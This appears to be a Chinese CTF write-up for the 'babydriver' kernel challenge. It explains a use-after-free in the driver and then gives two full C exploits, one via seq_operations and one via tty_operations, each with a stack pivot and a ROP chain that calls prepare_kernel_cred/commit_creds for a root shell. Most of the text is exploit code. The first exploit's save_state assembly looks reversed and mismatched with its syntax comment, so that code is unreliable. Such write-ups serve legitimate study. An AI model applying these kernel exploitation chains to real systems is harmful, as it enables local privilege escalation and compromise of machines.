启动脚本
#! /bin/sh
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' /dev/null \
-m 64M --nographic \
-smp cores=1,threads=1 -cpu kvm64,+smep
只可开启了smep保护
题目信息
babyopen
每次open(驱动名称),都会为babydev_struct.device_buf
全局变量分配0x40大小的堆空间
babyrelease
关闭close(驱动文件描述符),会通过kfree()释放掉申请的堆空间,但是这里有个问题,没有将babydev_struct.device_buf
置NULL
这里便存在一个问题,当连续两次打开驱动时,fd1,fd2 babydev_struct.device_buf
指向的是同一个堆空间
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
当close(fd1),由于没将babydev_struct.device_buf
置NULL,导致fd2可以继续读写babydev_struct.device_buf
指向的堆空间,UAF形成
babyioctl
这里,可能题目还是怕选手觉得难,可以让选手创建任意大小的UAF
利用方式
下面两种都用方式大致相同
- 通过babyopen,babyopen让两个文件描述符fd1,fd2指向同一个
babydev_struct.device_buf
- babyioctl,
command==0x10001
,调整babydev_struct.device_buf指向的堆为自己期望的大小 - close(fd1); (
babydev_struct.device_buf
指向的堆被kfree) - 用户层调用,使产生合适的堆结构占据被释放掉的堆
- 读这个堆结构,可以获取其中包含的内核函数地址,经过简单计算可以获取内核基地址
- 写这个堆结构,覆写里面的函数指针
保存的地址
,使得
在用户态操作时,可以触发函数指针执行 - 由于存在
smep
保护,一般被覆写里面的函数指针为一个栈迁移rop,然后在用户态布置rop提权
UAF seq_operations
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
// commands
#define DEV_PATH "/dev/babydev" // the path the device is placed
// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4 * PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)
// globals
// (END globals)
// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void *)0
#define errExit(msg) \
do \
{ \
perror(msg); \
exit(EXIT_FAILURE); \
} while (0)
#define KMALLOC(qid, msgbuf, N) \
for (int ix = 0; ix != N; ++ix) \
{ \
if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) \
errExit("KMALLOC"); \
}
ulong user_cs, user_ss, user_sp, user_rflags;
void NIRUGIRI(void)
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
// should compile with -masm=intel
static void save_state(void)
{
asm(
"movq %0, %%cs\n"
"movq %1, %%ss\n"
"movq %2, %%rsp\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}
static void shellcode(void)
{
asm(
"xor rdi, rdi\n"
"mov rbx, QWORD PTR [rsp+0x50]\n"
"sub rbx, 0x244566\n"
"mov rcx, rbx\n"
"call rcx\n"
"mov rdi, rax\n"
"sub rbx, 0x470\n"
"call rbx\n"
"add rsp, 0x20\n"
"pop rbx\n"
"pop r12\n"
"pop r13\n"
"pop r14\n"
"pop r15\n"
"pop rbp\n"
"ret\n");
}
// (END utils)
/******* babydev ****************/
#define INF 1 << 31
size_t current_size = INF;
int _open()
{
int _fd = open(DEV_PATH, O_RDWR);
assert(_fd > 0);
current_size = 0x40;
return _fd;
}
void _write(int fd, char *buf, size_t size)
{
assert(size < current_size);
assert(write(fd, buf, size) >= 0);
}
void _realloc(int fd, size_t size)
{
assert(ioctl(fd, 0x10001, size) == 0);
current_size = size;
}
void _close(int fd)
{
assert(close(fd) >= 0);
}
void _read(int fd, char *buf, size_t size)
{
assert(size < current_size);
assert(read(fd, buf, size) > 0);
}
/******* (END babydev) *************/
/*** gadgets ***/
/*
0xffffffff810eefd0: mov esp, 0x5DFFFA88 ; ret ; (1 found)
0xffffffff81018062: mov rdi, rax ; rep movsq ; pop rbp ; ret ; (1 found)
0xffffffff810a1810 T prepare_kernel_cred
0xffffffff810a1420 T commit_creds
0xffffffff8102a4a5: mov rax, rdi ; pop rbp ; ret ; (32 found)
0xffffffff8181a797: 48 cf iretq
0xffffffff8100700c: pop rcx ; ret ; (25 found)
0xffffffff81063694: 0f 01 f8 swapgs
0xffffffff81063697: 5d pop rbp
0xffffffff81063698: c3 ret
*/
void gen_chain(ulong *a, const ulong kernbase)
{
scu pop_rdi = 0x3e7d9d;
scu prepare_kernel_cred = 0x0a1810;
scu rax2rdi_rep_pop_rbp = 0x018062;
scu pop_rcx = 0x00700c;
scu commit_creds = 0x0a1420;
scu swapgs_pop_rbp = 0x063694;
scu iretq = 0x81a797;
save_state();
*a++ = pop_rdi + kernbase;
*a++ = 0;
*a++ = prepare_kernel_cred + kernbase;
*a++ = pop_rcx + kernbase;
*a++ = 0;
*a++ = rax2rdi_rep_pop_rbp + kernbase;
*a++ = 0;
*a++ = commit_creds + kernbase;
*a++ = swapgs_pop_rbp + kernbase;
*a++ = 0;
*a++ = iretq + kernbase;
*a++ = &NIRUGIRI;
*a++ = user_cs;
*a++ = user_rflags;
*a++ = user_sp;
*a++ = user_ss;
*a++ = 0xdeadbeef; // unreachable
}
/************ MAIN ****************/
int main(int argc, char *argv[])
{
char buf[0x2000];
int fd[0x10];
int statfd;
// 1、UAF
fd[0] = _open();
fd[1] = _open();
_realloc(fd[0], 0x20); // kmalloc 0x20的UAF
_close(fd[0]);
// 2、leak kernbase 获取 kernel base
statfd = open("/proc/self/stat", O_RDONLY); // 产生一个 seq_operations 结构体
assert(statfd > 0);
_read(fd[1], buf, 0x10); // 读取 seq_operations结构体
const ulong single_start = ((ulong *)buf)[0];
const ulong kernbase = single_start - 0x22f4d0UL;
printf("[!] single_start: %lx\n", single_start);
printf("[!] kernbase: %lx\n", kernbase);
// 3、prepare chain and get RIP 当前环境smep,no-smap
const ulong gadstack = 0x5DFFFA88; // mov esp, 0x5DFFFA88,目的是通过栈迁移,跳转到这个地址执行
// mmap申请的地址需要页对齐
const char *maddr = mmap(gadstack & ~0xFFF, 4 * PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
const ulong **chain = maddr + (gadstack & 0xFFF);
// 在栈迁移后的地址上,布置提权代码
gen_chain(chain, kernbase);
((ulong *)buf)[0] = kernbase + 0x0eefd0; // 0xffffffff810eefd0 mov esp, 0x5DFFFA88 ; ret ;
_write(fd[1], buf, 0x8); // 修改 seq_operations结构体 中的 start指针
// NIRUGIRI
read(statfd, buf, 1); // 触发 start指针
return 0;
}
/*
cdev: 0xffffffffc0002460
fops: 0xffffffffc0002000
kmem_cache_alloc_trace: 0xffffffff811ea180
babyopen: 0xffffffffc0000030
babyioctl: 0xffffffffc0000080
babywrite: 0xffffffffc00000f0
kmalloc-64: 0xffff880002801b00
kmalloc-64's cpu_slub: 0x19e80
babydev_struct: 0xffffffffc00024d0
*/
UAF tty_operations
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
static void save_state() {
__asm__("mov %0, cs": "r=" (user_cs) : "r" (user_cs));
__asm__("mov %0, ss": "r=" (user_ss) : "r" (user_ss));
__asm__("pushfq");
__asm__("popq %0": "r=" (user_rflags) : "r" (user_rflags));
}
unsigned long pivot_gadget = 0xffffffff814f5359; // 0xffffffff814f5359: mov esp, 0x01740100 ; ret ; (1 found)
unsigned long pop_rdi = 0xffffffff810d238d; // 0xffffffff810d238d: pop rdi ; ret ; (58 found)
unsigned long mov_rdi_rax_call_rdx_pop_rbp = 0xffffffff8180c4a2; // 0xffffffff8180c4a2: mov rdi, rax ; call rdx ; (1 found)
unsigned long pop_rdx = 0xffffffff8144d302; // 0xffffffff8144d302: pop rdx ; ret ; (1 found)
unsigned long prepare_kernel_cred = 0xffffffff810a1810; // ffffffff810a1810 T prepare_kernel_cred
unsigned long commit_creds = 0xffffffff810a1420; // ffffffff810a1420 T commit_creds
unsigned long iretq = 0xffffffff8181a797;
unsigned long swapgs_pop_rbp = 0xffffffff81063694; // 0xffffffff81063694: swapgs ; pop rbp ; ret ; (1 found)
int fd, fd2;
unsigned long fake_tty_operations[0x100/8];
unsigned long fake_file[0x100/8];
unsigned long orig_file[0x100/8];
void shell(void) {
write(fd, orig_file, 0x100-1);
char *args[] = {"/bin/sh", 0};
execve("/bin/sh", args, 0);
}
int main(void) {
int fds[0x100];
char buf[0x100];
unsigned long *fake_stack;
save_state();
fake_stack = mmap(0x01740000-0x8000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0);
fake_stack += (0x8100/8);
*fake_stack++ = pop_rdi;
*fake_stack++ = 0;
*fake_stack++ = prepare_kernel_cred;
*fake_stack++ = pop_rdx;
*fake_stack++ = commit_creds + 6;
*fake_stack++ = mov_rdi_rax_call_rdx_pop_rbp;
*fake_stack++ = swapgs_pop_rbp;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = iretq;
*fake_stack++ = (unsigned long)&shell;
*fake_stack++ = user_cs;
*fake_stack++ = user_rflags;
*fake_stack++ = 0x01740000;
*fake_stack++ = user_ss;
puts("open twice /dev/babydev");
fd = open("/dev/babydev", O_RDWR);
fd2 = open("/dev/babydev", O_RDWR);
if (fd < 0 || fd2 < 0) {
puts("open error");
exit(1);
}
puts("call kmalloc(256)");
ioctl(fd, 0x10001, 256);
puts("overlap tty_struct with freed chunk");
close(fd2);
for (int i=0; i<0x100; i++) {
fds[i] = open("/dev/ptmx", O_NOCTTY|O_RDWR);
}
puts("cause UAF");
read(fd, fake_file, 0x100-1);
memcpy(orig_file, fake_file, 0x100);
fake_tty_operations[8] = pivot_gadget;
fake_file[5] = &fake_tty_operations;
write(fd, fake_file, 0x100-1);
puts("trigger tty->ops->ioctl");
for (int i=0; i<0x100; i++) {
ioctl(fds[i], 0xdeadbeef, 0xbeefbabe);
close(fds[i]);
}
while(1) {}
return 0;
}